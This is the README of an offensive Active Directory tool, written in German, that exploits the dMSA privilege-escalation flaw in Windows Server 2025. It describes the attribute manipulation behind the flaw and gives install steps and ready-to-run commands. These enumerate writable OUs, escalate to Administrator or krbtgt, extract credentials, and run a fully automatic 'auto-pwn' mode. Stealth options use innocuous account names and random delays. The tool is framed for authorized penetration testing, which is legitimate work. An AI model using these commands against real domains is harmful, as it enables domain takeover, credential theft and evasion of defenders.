
Nutzt die Schwachstelle zur dMSA-Privilegieneskalation in Windows Server 2025 aus, um beschreibbare OUs aufzulisten, zu beliebigen Domänenbenutzern zu eskalieren, Anmeldeinformationen zu extrahieren und die Domänenübernahme in autorisierten AD-Sicherheitsbewertungen zu ermöglichen.
Ein Penetrationstest-Tool, das die dMSA-Schwachstelle (delegated Managed Service Account) zur Privilegienerweiterung in Windows Server 2025 Active Directory-Umgebungen ausnutzt.
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschungszwecke bestimmt. Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
WICHTIG: Dieses Tool befindet sich in aktiver Entwicklung und Testung.
Wir ermutigen die Sicherheitscommunity dazu:
Durch die Nutzung dieses Tools erkennen Sie an, dass es sich in aktiver Entwicklung befindet und möglicherweise Änderungen für Ihre spezifische Umgebung erfordert.
BadSuccessor nutzt eine Privilegienerweiterungs-Schwachstelle in der Funktion "delegated Managed Service Account" (dMSA) von Windows Server 2025 aus. Die Schwachstelle erlaubt Angreifern mit minimalen Berechtigungen, Privilegien auf jeden Benutzer in der Domäne auszuweiten, einschließlich Domänenadministratoren.
Dieses Tool basiert auf der hervorragenden Forschung von Yuval Gordon von Akamai Technologies:
Die Schwachstelle besteht im dMSA-Migrationsprozess, bei dem:
msDS-ManagedAccountPrecededByLink oder ms-DS-Managed-Account-Preceded-By-Link so setzt, dass es auf einen Zielbenutzer zeigtmsDS-DelegatedMSAState oder ms-DS-Delegated-MSA-State auf 2 setzt (Migration abgeschlossen)Zusätzlich enthält die Struktur KERB-DMSA-KEY-PACKAGE die Passwortschlüssel des Zielbenutzers, was die Extraktion von Anmeldedaten ermöglicht.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Hinweis**: Das Tool wurde mit impacket 0.12.0 getestet. Zur Laufzeit werden Kompatibilitätswarnungen angezeigt.
### Optionale Abhängigkeiten```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild-BerechtigungWrite-BerechtigungGenericWrite-BerechtigungGenericAll-Berechtigunggit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Schnellstart-Beispiele
#### 1. Trockenlaufmodus (NEU) - Testen ohne Änderungen vorzunehmen```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Angriff durchführen```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Sitzungsverwaltung (NEW)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID